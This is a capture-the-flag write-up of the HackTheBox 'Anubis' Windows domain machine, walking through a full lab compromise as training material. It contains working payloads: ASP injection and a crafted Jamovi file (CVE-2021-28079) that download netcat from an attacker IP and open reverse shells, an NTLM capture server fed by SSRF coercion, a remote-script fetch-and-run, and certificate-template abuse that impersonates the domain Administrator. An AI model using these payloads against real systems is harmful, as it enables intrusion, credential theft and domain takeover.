HTB: Anubis Writeup
Anubis - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Anubis |
| OS | Windows |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.230.170 |
| Author | 4ndr34z |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Anubis is an insane difficulty Windows Active Directory machine that demonstrates the exploitation of misconfigured Active Directory Certificate Services (ADCS) templates combined with multiple privilege escalation vectors. The attack chain begins with ASP code injection on a public IIS server running inside a Windows container, leading to RCE as SYSTEM. Pivoting through the container reveals an internal software portal vulnerable to SSRF, which can be coerced into sending WinRM authentication requests to an attacker-controlled server. Captured NetNTLMv2 credentials provide access to an SMB share containing Jamovi data files. By exploiting CVE-2021-28079 (XSS to RCE in Jamovi’s ElectronJS framework), a shell is obtained as a domain user who is a member of the webdevelopers group. This group has full control over the Web certificate template, allowing modification of Extended Key Usage (EKU) attributes to include Smart Card Logon. A malicious certificate request with a UPN Subject Alternative Name for the Administrator account is submitted to the CA, and the resulting certificate is used for PKINIT authentication to obtain an Administrator TGT and NT hash, leading to full domain compromise.
TL;DR: ASP code injection (SYSTEM in container) → chisel pivot → internal softwareportal SSRF coercion via WinRM (NOT SMB) → NetNTLMv2 capture → localadmin:Secret123 → Jamovi CVE-2021-28079 XSS RCE → diegocruz shell (webdevelopers) → ADCS: modify Web template EKUs (add Smart Card Logon + Client Authentication) → request certificate with UPN SAN administrator@windcorp.htb → PKINIT authentication → Administrator NT hash → Domain Admin.
Reconnaissance
Port Scanning
Standard nmap enumeration revealed typical Windows services along with HTTPS on port 443. The target machine was identified at 10.129.230.170.
# Full port scan followed by service detectionnmap -sC -sV -T4 -p- 10.129.230.170Key Services Identified:
- Port 443 (HTTPS): IIS web server with certificate CN
www.windcorp.htb - Standard Windows RPC ports (135, 445, etc.)
Service Enumeration
HTTPS (Port 443)
The IIS server presented a self-signed certificate for www.windcorp.htb. Direct IP access resulted in 404 errors, so the hostname was added to /etc/hosts:
# Add hostname resolutionecho "10.129.230.170 www.windcorp.htb" | sudo tee -a /etc/hostsThe website featured a contact form that reflected user input back on a preview page, suggesting potential code injection vulnerabilities.
Vulnerability Assessment
Initial testing of the contact form revealed:
- ASP Code Injection: User input in the contact form’s
namefield was saved tosave.aspand reflected onpreview.aspwithout proper sanitization - Code Execution Context: Successful ASP injection could lead to RCE in the IIS worker process context
Initial Foothold
ASP Code Injection to RCE
The contact form was vulnerable to ASP code injection. The submitted name parameter was written to save.asp and subsequently executed when preview.asp was accessed.
Testing for ASP Injection:
<% response.write("Testing ASP code injection") %>The payload executed successfully, confirming code injection. To achieve RCE, a more complete payload was crafted:
<%Function execStdOut(cmd) Dim wsh: Set wsh = CreateObject("WScript.Shell") Dim aRet: Set aRet = wsh.exec(cmd) execStdOut = aRet.StdOut.ReadAll()End FunctiontheOutput = execStdOut("whoami")response.write "Output: " & theOutput%>This confirmed command execution. The next step was establishing a reverse shell:
# Host nc64.exe on attacking machinepython3 -m http.server 8001Download netcat to target:
<%Function execStdOut(cmd) Dim wsh: Set wsh = CreateObject("WScript.Shell") Dim aRet: Set aRet = wsh.exec(cmd) execStdOut = aRet.StdOut.ReadAll()End FunctiontheOutput = execStdOut("curl 10.10.15.180:8001/nc64.exe -o \programdata\ncx.exe")response.write "Output: " & theOutput%>Trigger reverse shell:
<%Function execStdOut(cmd) Dim wsh: Set wsh = CreateObject("WScript.Shell") Dim aRet: Set aRet = wsh.exec(cmd) execStdOut = aRet.StdOut.ReadAll()End FunctiontheOutput = execStdOut("\programdata\ncx.exe 10.10.15.180 7777 -e cmd")response.write "Output: " & theOutput%># Listener on attacking machinenc -lvnp 7777A reverse shell was obtained as NT AUTHORITY\SYSTEM, but enumeration quickly revealed this was inside a Windows container, not the host.
Container Discovery and Enumeration
# Check network configurationipconfig
# Output showed container IP: 172.29.x.x# Gateway (likely host): 172.29.240.1A file named req.txt was found on the Administrator’s desktop containing a certificate signing request with CN softwareportal.windcorp.htb:
# Verify certificate request (on attacking machine after exfil)openssl req -text -noout -verify -in req.txtPivoting with Chisel
To access internal services on the host, chisel was used to establish a SOCKS proxy:
# On attacking machine - start chisel serverchisel server -p 9002 --reverse
# Download chisel to containercurl 10.10.15.180:8001/chisel.exe -o \programdata\chisel.exe
# On target container - connect back\programdata\chisel.exe client 10.10.15.180:9002 R:socksConfigure proxychains (/etc/proxychains.conf):
[ProxyList]socks5 127.0.0.1 1081Internal Web Application Discovery
# Scan the gateway IP through the SOCKS proxyproxychains4 nmap -sT -Pn -n --top-ports 100 172.29.240.1
# Port 80 found openAdding the discovered hostname:
echo "172.29.240.1 softwareportal.windcorp.htb earth.windcorp.htb" | sudo tee -a /etc/hostsAccessing http://softwareportal.windcorp.htb through the proxy revealed a software installation portal with links like:
http://softwareportal.windcorp.htb/install.asp?client=172.29.247.13&software=7z1900x64.exeCRITICAL DEVIATION: WinRM NTLM Capture (Not SMB)
The public writeup describes using Responder to capture SMB authentication. In this live solve, the callback was over WinRM/HTTP on port 5985, not SMB.
Reconnaissance to identify the callback port:
# Monitor incoming connectionstcpdump -i tun0 'dst host 10.10.15.180 and tcp-syn'The install.asp endpoint made a POST /wsman?PSVersion=... request with Authorization: Negotiate headers wrapping NTLMSSP messages to port 5985 when the client parameter was changed to the attacker’s IP.
Custom Python NTLM Capture Server:
Since the callback was WinRM/HTTP NTLM (not SMB), a lightweight Python HTTP server was created to perform the NTLM handshake:
# ntlm_capture.py - Minimal HTTP NTLM challenge/response captureimport socketimport base64import struct
s = socket.socket()s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)s.bind(('0.0.0.0', 5985))s.listen(5)
while True: conn, addr = s.accept() data = conn.recv(4096)
# Send 401 with NTLM challenge challenge = b'\x11\x22\x33\x44\x55\x66\x77\x88' type2 = b'NTLMSSP\x00\x02\x00\x00\x00' + b'\x00'*8 + b'\x01\x02\x03\x04' + challenge + b'\x00'*24
response = b'HTTP/1.1 401 Unauthorized\r\n' response += b'WWW-Authenticate: NTLM ' + base64.b64encode(type2) + b'\r\n' response += b'Content-Length: 0\r\n\r\n' conn.sendall(response) conn.close()
# Wait for Type 3 message conn, addr = s.accept() data = conn.recv(4096)
if b'Authorization: NTLM ' in data: type3_b64 = data.split(b'Authorization: NTLM ')[1].split(b'\r\n')[0] type3 = base64.b64decode(type3_b64) # Parse NetNTLMv2 hash from Type 3 message print(f"[+] Captured Type 3 from {addr}") # Extract and format hash...The script captured the NetNTLMv2 hash:
localadmin::windcorp:1122334455667788:<NTLMv2 response>:<blob>Cracking the hash:
# Save hash to fileecho 'localadmin::windcorp:1122334455667788:<response>:<blob>' > hash.txt
# Crack with johnjohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# Result: localadmin:Secret123SMB Share Enumeration
With valid credentials, SMB shares were enumerated:
# List sharesproxychains4 smbclient -L //172.29.240.1 -U windcorp/localadmin%Secret123 -m SMB3Shares discovered:
- ADMIN$
- C$
- CertEnroll (Certificate Services)
- IPC$
- NETLOGON
- Shared
- SYSVOL
The Shared share contained a Documents\Analytics directory with .omv files:
# Access Sharedproxychains4 smbclient //172.29.240.1/Shared -U windcorp/localadmin%Secret123 -m SMB3
# Navigate and listcd Documents\AnalyticslsFiles found:
- Big 5.omv
- Bugs.omv
- Tooth Growth.omv
- Whatif.omv (regularly updated, indicating active use)
Lateral Movement to Host
Jamovi CVE-2021-28079 Exploitation
The .omv files are Jamovi data analysis documents. Research revealed CVE-2021-28079: Jamovi ≤ 1.6.18 is vulnerable to XSS in column names within the ElectronJS framework, leading to RCE when the document is opened.
Exploitation process:
- Download and extract the target file:
# Download Whatif.omvproxychains4 smbclient //172.29.240.1/Shared -U windcorp/localadmin%Secret123 -m SMB3 \ -c "cd Documents\\Analytics; get Whatif.omv"
# Extract (OMV is a ZIP archive)mkdir omv_extractedcd omv_extractedunzip ../Whatif.omv- Inject XSS payload in metadata.json:
The metadata.json file contains field definitions. The name attribute of the first field can contain arbitrary HTML/JS:
# Python script to inject payloadimport json
with open('metadata.json', 'r') as f: data = json.load(f)
# Craft XSS payload for reverse shellpayload = """Sepal.Length <script>require('child_process').exec('curl 10.10.15.180:8001/nc64.exe -o /programdata/ncx.exe && /programdata/ncx.exe 10.10.15.180 7777 -e cmd')</script>"""
# Inject into first field namedata['dataSet']['fields'][0]['name'] = payload
with open('metadata.json', 'w') as f: json.dump(data, f)- Repack the malicious OMV:
# Update the archive with modified metadata.jsonzip Whatif.omv metadata.json
# Verify injectionunzip -p Whatif.omv metadata.json | grep script- Upload and wait for trigger:
# Set up HTTP server for nc64.exepython3 -m http.server 8001
# Set up reverse shell listenernc -lvnp 7777
# Upload malicious fileproxychains4 smbclient //172.29.240.1/Shared -U windcorp/localadmin%Secret123 -m SMB3 \ -c "cd Documents\\Analytics; put Whatif.omv"Jamovi automatically opens files in the Analytics directory approximately every 15 minutes. After waiting, the HTTP server showed:
10.129.230.170 - - [19/Jul/2026 14:14:12] "GET /nc64.exe HTTP/1.1" 200 -And a shell was received:
C:\Windows\system32>whoamiwindcorp\diegocruz
C:\Windows\system32>hostnameearthUser Flag:
C:\Windows\system32>type C:\Users\diegocruz\Desktop\user.txt<redacted>The user diegocruz is a member of the webdevelopers group:
whoami /groups | findstr /i webdevelopersWINDCORP\webdevelopers Group S-1-5-21-3510634497-171945951-3071966075-3290 Mandatory group, Enabled by default, Enabled groupPrivilege Escalation
Active Directory Certificate Services Abuse
With a shell as diegocruz, the next step was to explore ADCS certificate templates:
# List available templatescertutil -catemplates | findstr /i webOutput:
Web: Web -- Auto-EnrollWebServer: Web Server -- Access is denied.The Web template was accessible. Detailed examination revealed:
certutil -v -dstemplate WebThe webdevelopers group had full control over the Web template, allowing modification of its properties.
Certificate Template Modification
To enable PKINIT authentication for domain users, the Web template needed to include:
- Smart Card Logon EKU (1.3.6.1.4.1.311.20.2.2)
- Client Authentication EKU (1.3.6.1.5.5.7.3.2)
CRITICAL DEVIATION: PowerShell Command Length
Initial attempts to modify the template using a long powershell -enc <base64> command (752 characters) killed the fragile netcat reverse shell. The solution was to use a shorter command that downloads and executes a script via IEX:
# Create mod.ps1 on attacking machinecat > mod.ps1 << 'EOF'$EKUs=@("1.3.6.1.5.5.7.3.2","1.3.6.1.4.1.311.20.2.2")Set-ADObject "CN=Web,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=windcorp,DC=htb" -Add @{pKIExtendedKeyUsage=$EKUs;"msPKI-Certificate-Application-Policy"=$EKUs}Write-Output DONE_MODEOF
# Host on HTTP serverpython3 -m http.server 8001Execute from diegocruz shell:
powershell -c "IEX(IWR -useb http://10.10.15.180:8001/mod.ps1)"Output:
DONE_MODVerify template modification:
# Query template via LDAP through SOCKS proxyproxychains4 ldapsearch -x -H ldap://172.29.240.1 \ -D "localadmin@windcorp.htb" -w Secret123 \ -b "CN=Web,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=windcorp,DC=htb" \ pKIExtendedKeyUsage msPKI-Certificate-Application-PolicyOutput confirmed successful modification:
pKIExtendedKeyUsage: 1.3.6.1.4.1.311.20.2.2 # Smart Card LogonpKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2 # Client AuthenticationpKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.1 # Server Authentication (original)msPKI-Certificate-Application-Policy: 1.3.6.1.4.1.311.20.2.2msPKI-Certificate-Application-Policy: 1.3.6.1.5.5.7.3.2msPKI-Certificate-Application-Policy: 1.3.6.1.5.5.7.3.1Alternative: LDIF-based Template Modification
The template could also be modified directly via LDAP without PowerShell:
# Create LDIF filecat > mod.ldif << 'EOF'dn: CN=Web,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=windcorp,DC=htbchangetype: modifyadd: pKIExtendedKeyUsagepKIExtendedKeyUsage: 1.3.6.1.4.1.311.20.2.2pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2-add: msPKI-Certificate-Application-PolicymsPKI-Certificate-Application-Policy: 1.3.6.1.4.1.311.20.2.2msPKI-Certificate-Application-Policy: 1.3.6.1.5.5.7.3.2EOF
# Apply via ldapmodifyproxychains4 ldapmodify -x -H ldap://172.29.240.1 \ -D "localadmin@windcorp.htb" -w Secret123 -f mod.ldifNote: Attempts to use localadmin credentials directly with certipy-ad req failed with:
CERTSRV_E_TEMPLATE_DENIED (0x80094012)This confirmed that template enrollment permissions were restricted to the webdevelopers group only, requiring the diegocruz shell for certificate requests.
Certificate Request with UPN SAN
Generate a certificate signing request with a User Principal Name (UPN) Subject Alternative Name for administrator@windcorp.htb:
On attacking machine:
# Create OpenSSL config with UPN SANcat > admin.cnf << 'EOF'[ req ]default_bits = 2048prompt = noreq_extensions = userdistinguished_name = dn
[ dn ]CN = Administrator
[ user ]subjectAltName = otherName:msUPN;UTF8:administrator@windcorp.htbEOF
# Generate CSR and private keyopenssl req -config admin.cnf \ -subj "/DC=htb/DC=windcorp/CN=Users/CN=Administrator" \ -new -nodes -sha256 -out admin.req -keyout admin.key
# Verify SANopenssl req -in admin.req -noout -text | grep -A1 "Subject Alternative"Output:
X509v3 Subject Alternative Name: othername: UPN:administrator@windcorp.htbTransfer CSR to target and submit to CA:
# Download CSR to targetcertutil -urlcache -split -f http://10.10.15.180:8001/admin.req C:\programdata\admin.req
# Submit to CA using Web templatecertreq -submit -config earth.windcorp.htb\windcorp-CA \ -attrib CertificateTemplate:Web \ C:\programdata\admin.req C:\programdata\admin.cerOutput:
RequestId: 7Certificate retrieved(Issued) IssuedExfiltrate certificate:
# Copy to SMB sharecopy C:\programdata\admin.cer \\172.29.240.1\Shared\admin.cer# Download from SMBproxychains4 smbclient //172.29.240.1/Shared -U windcorp/localadmin%Secret123 \ -c "get admin.cer"
# Verify certificateopenssl x509 -in admin.cer -noout -subject -ext extendedKeyUsageOutput:
subject=DC=htb, DC=windcorp, CN=Users, CN=AdministratorX509v3 Extended Key Usage: Microsoft Smartcard Login, TLS Web Client Authentication, TLS Web Server AuthenticationPKINIT Authentication
Download CA certificate:
# Get CA cert from CertEnroll shareproxychains4 smbclient //172.29.240.1/CertEnroll -U windcorp/localadmin%Secret123 \ -c "get earth.windcorp.htb_windcorp-CA.crt"
# Convert DER to PEMopenssl x509 -inform DER -in earth.windcorp.htb_windcorp-CA.crt -out ca.pem
# Verifyopenssl x509 -in ca.pem -noout -subjectOutput:
subject=DC=htb, DC=windcorp, CN=windcorp-CABuild PFX for certipy:
# Combine certificate and private key into PFXopenssl pkcs12 -export -out admin.pfx \ -inkey admin.key -in admin.cer -passout pass:Attempt PKINIT authentication:
# Initial attemptproxychains4 certipy-ad auth -pfx admin.pfx -dc-ip 172.29.240.1 \ -username administrator -domain windcorp.htbError encountered:
KRB_AP_ERR_SKEW(Clock skew too great)Clock Skew Resolution:
Query the DC’s current time:
# From diegocruz shellpowershell -c "(Get-Date).ToUniversalTime().ToString('yyyy-MM-dd HH:MM:ss')"Output: 2026-07-19 19:27:40
Comparing to attacking machine time showed approximately 56 minutes of skew. Use faketime to compensate:
# Authenticate with time offsetfaketime -f "+56m" proxychains4 certipy-ad auth -pfx admin.pfx \ -dc-ip 172.29.240.1 -username administrator -domain windcorp.htbSuccess:
[*] Got TGT[*] Saving credential cache to 'administrator.ccache'[*] Trying to retrieve NT hash for 'administrator'[*] Got hash for 'administrator@windcorp.htb': <redacted>:<redacted>Administrator Access
With the NT hash, pass-the-hash authentication was used:
# wmiexec for command executionproxychains4 impacket-wmiexec -hashes :<redacted> administrator@172.29.240.1 \ "whoami & hostname & type C:\Users\Administrator\Desktop\root.txt"Output:
windcorp\administratorearth<redacted>Root Flag: <redacted>
Attack Chain Summary
ASP Code Injection (www.windcorp.htb) → RCE as SYSTEM in Windows Container → Discovery of internal softwareportal (req.txt: CN=softwareportal.windcorp.htb) → Chisel SOCKS Proxy Pivot → SSRF via install.asp?client= parameter → WinRM/HTTP NTLM Capture (Port 5985, NOT SMB) → NetNTLMv2 Hash → Cracked: localadmin:Secret123 → SMB Share Access: //earth/Shared/Documents/Analytics → Jamovi CVE-2021-28079: XSS in metadata.json field name → Malicious Whatif.omv → RCE on Host → Shell as diegocruz (member of webdevelopers group) → ADCS Template Abuse: Modify Web template EKUs → Add Smart Card Logon + Client Authentication EKUs → Generate CSR with UPN SAN for administrator@windcorp.htb → Submit via certreq to CA → Certificate Issued → PKINIT Authentication (faketime to handle clock skew) → Retrieve Administrator NT Hash → Pass-the-Hash → Domain Administrator AccessTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | File transfer to/from target |
nc64.exe | Reverse shell payload |
chisel | SOCKS proxy for pivoting |
proxychains4 | Route traffic through SOCKS proxy |
| Custom Python script | WinRM/HTTP NTLM capture server |
john | NetNTLMv2 hash cracking |
smbclient | SMB share enumeration and file transfer |
unzip / zip | OMV archive manipulation |
openssl | Certificate and CSR generation/verification |
certutil | Target-side certificate operations |
certreq | Submit CSR to Windows CA |
ldapsearch / ldapmodify | LDAP queries and template modification |
certipy-ad | PKINIT authentication and hash retrieval |
faketime | Clock skew compensation |
impacket-wmiexec | Pass-the-hash execution |
evil-winrm | WinRM shell (alternative) |
Key Learnings
Techniques Practiced
- ASP code injection and exploitation in IIS
- Windows container detection and enumeration
- SOCKS proxy pivoting with chisel
- SSRF exploitation for authentication coercion
- WinRM/HTTP NTLM authentication capture (alternative to SMB/Responder)
- NetNTLMv2 hash capture and cracking
- Jamovi file format manipulation (OMV archives)
- CVE-2021-28079: XSS to RCE in ElectronJS applications
- Active Directory Certificate Services (ADCS) enumeration
- Certificate template ACL analysis
- Modifying certificate template Extended Key Usage (EKU) attributes
- Certificate request generation with UPN Subject Alternative Names
- Windows Certificate Authority submission workflow
- PKINIT (Public Key Cryptography for Initial Authentication)
- Kerberos clock skew troubleshooting
- Pass-the-hash authentication in Active Directory
Lessons Learned
-
Authentication coercion may use non-standard protocols: The public writeup described SMB authentication capture, but the live machine used WinRM/HTTP on port 5985. Always use
tcpdumpor similar tools to identify the actual callback mechanism before deploying capture servers. -
Fragile shells require careful command length management: Long PowerShell base64-encoded commands (752+ characters) killed the netcat reverse shell. Using
Invoke-ExpressionwithInvoke-WebRequestto download and execute scripts (IEX(IWR -useb http://LHOST/script.ps1)) is more reliable for complex operations in unstable shells. -
Certificate template permissions are granular: Even with valid domain credentials (localadmin), certificate enrollment can fail if the specific user/group lacks permissions on the template. The
Webtemplate was explicitly restricted to thewebdevelopersgroup, making the diegocruz shell mandatory for both EKU modification and certificate requests. -
Jamovi auto-opens files periodically: The CVE-2021-28079 exploitation required waiting for Jamovi to automatically process the malicious OMV file. This occurred approximately every 15 minutes, so patience and monitoring HTTP/shell logs was essential.
-
Clock skew significantly impacts Kerberos: PKINIT authentication failed initially due to >5 minute clock difference between attacking machine and DC. Always query the DC’s current time and use
faketimeor similar tools to compensate when performing Kerberos operations. -
Certificate UPN SANs enable user impersonation: By requesting a certificate with
subjectAltName = otherName:msUPN;UTF8:administrator@windcorp.htb, authentication as the Administrator account was possible without knowing the password, only requiring the corresponding private key. -
Jump box resource constraints affect attack workflows: When
/tmpis full on a shared jump box, heredoc operations fail. Staging files in/dev/shmand usingscpto transfer scripts avoids disk space issues. -
RPC/LDAP operations work through SOCKS proxies: Tools like
certipy-ad,ldapsearch, andldapmodifyfunctioned correctly throughproxychains4, enabling full ADCS exploitation without direct network access to the DC.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup was informed by the official HackTheBox writeup for Anubis by polarbearer (Document No D22.100.155), which provided conceptual explanations for ADCS template abuse and PKINIT authentication workflows. All technical specifics, commands, outputs, and credentials are from the live solve documented above.